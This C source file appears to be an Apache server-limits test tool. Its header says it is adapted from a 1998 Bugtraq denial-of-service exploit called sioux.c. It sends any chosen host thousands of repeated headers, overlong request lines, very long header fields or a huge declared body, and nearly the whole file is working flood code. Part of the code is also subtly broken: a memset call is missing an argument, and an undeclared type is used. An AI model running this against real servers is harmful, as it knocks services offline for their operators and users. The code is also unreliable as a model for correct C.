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/**************************************************************
* test_limits.c
*
* A simple program for sending abusive requests to a server, based
* on the sioux.c exploit code that this nimrod posted (see below).
* Roy added options for testing long header fieldsize (-t h), long
* request-lines (-t r), and a long request body (-t b).
*
* FreeBSD 2.2.x, FreeBSD 3.0, IRIX 5.3, IRIX 6.2:
* gcc -o test_limits test_limits.c
*
* Solaris 2.5.1:
* gcc -o test_limits test_limits.c -lsocket -lnsl
*
*
* Message-ID: <861zqspvtw.fsf@niobe.ewox.org>
* Date: Fri, 7 Aug 1998 19:04:27 +0200
* Sender: Bugtraq List <BUGTRAQ@netspace.org>
* From: Dag-Erling Coidan =?ISO-8859-1?Q?Sm=F8rgrav?= <finrod@EWOX.ORG>
* Subject: YA Apache DoS attack
*
* Copyright (c) 1998 Dag-Erling Codan Smrgrav
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer
* in this position and unchanged.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software withough specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/*
* Kudos to Mark Huizer who originally suggested this on freebsd-current
*/
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define TEST_LONG_REQUEST_LINE 1
#define TEST_LONG_REQUEST_FIELDS 2
#define TEST_LONG_REQUEST_FIELDSIZE 3
#define TEST_LONG_REQUEST_BODY 4
void
usage(void)
{
fprintf(stderr,
"usage: test_limits [-t (r|n|h|b)] [-a address] [-p port] [-n num]\n");
exit(1);
}
int
main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *f;
int o, sd;
/* default parameters */
char *addr = "localhost";
int port = 80;
int num = 1000;
int testtype = TEST_LONG_REQUEST_FIELDS;
/* get options */
while ((o = getopt(argc, argv, "t:a:p:n:")) != EOF)
switch (o) {
case 't':
if (*optarg == 'r')
testtype = TEST_LONG_REQUEST_LINE;
else if (*optarg == 'n')
testtype = TEST_LONG_REQUEST_FIELDS;
else if (*optarg == 'h')
testtype = TEST_LONG_REQUEST_FIELDSIZE;
else if (*optarg == 'b')
testtype = TEST_LONG_REQUEST_BODY;
break;
case 'a':
addr = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 'n':
num = atoi(optarg);
break;
default:
usage();
}
if (argc != optind)
usage();
/* connect */
if ((he = gethostbyname(addr)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&sin, sizeof(sin));
memcpy((char *)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = he->h_addrtype;
sin.sin_port = htons(port);
if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
exit(1);
}
if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("connect");
exit(1);
}
if ((f = fdopen(sd, "r+")) == NULL) {
perror("fdopen");
exit(1);
}
/* attack! */
fprintf(stderr, "Testing like a plague of locusts on %s\n", addr);
if (testtype == TEST_LONG_REQUEST_LINE) {
fprintf(f, "GET ");
while (num-- && !ferror(f)) {
fprintf(f, "/123456789");
fflush(f);
}
fprintf(f, " HTTP/1.0\r\n\r\n");
}
else {
fprintf(f, "GET /fred/foo HTTP/1.0\r\n");
if (testtype == TEST_LONG_REQUEST_FIELDSIZE) {
while (num-- && !ferror(f)) {
fprintf(f, "User-Agent: sioux");
fflush(f);
}
fprintf(f, "\r\n");
}
else if (testtype == TEST_LONG_REQUEST_FIELDS) {
while (num-- && !ferror(f))
fprintf(f, "User-Agent: sioux\r\n");
fprintf(f, "\r\n");
}
else if (testtype == TEST_LONG_REQUEST_BODY) {
fprintf(f, "User-Agent: sioux\r\n");
fprintf(f, "Content-Length: 33554433\r\n");
fprintf(f, "\r\n");
while (num-- && !ferror(f))
fprintf(f, "User-Agent: sioux\r\n");
}
else {
fprintf(f, "\r\n");
}
}
fflush(f);
{
apr_ssize_t len;
char buff[512];
while ((len = read(sd, buff, 512)) > 0)
len = write(1, buff, len);
}
if (ferror(f)) {
perror("fprintf");
exit(1);
}
fclose(f);
exit(0);
}
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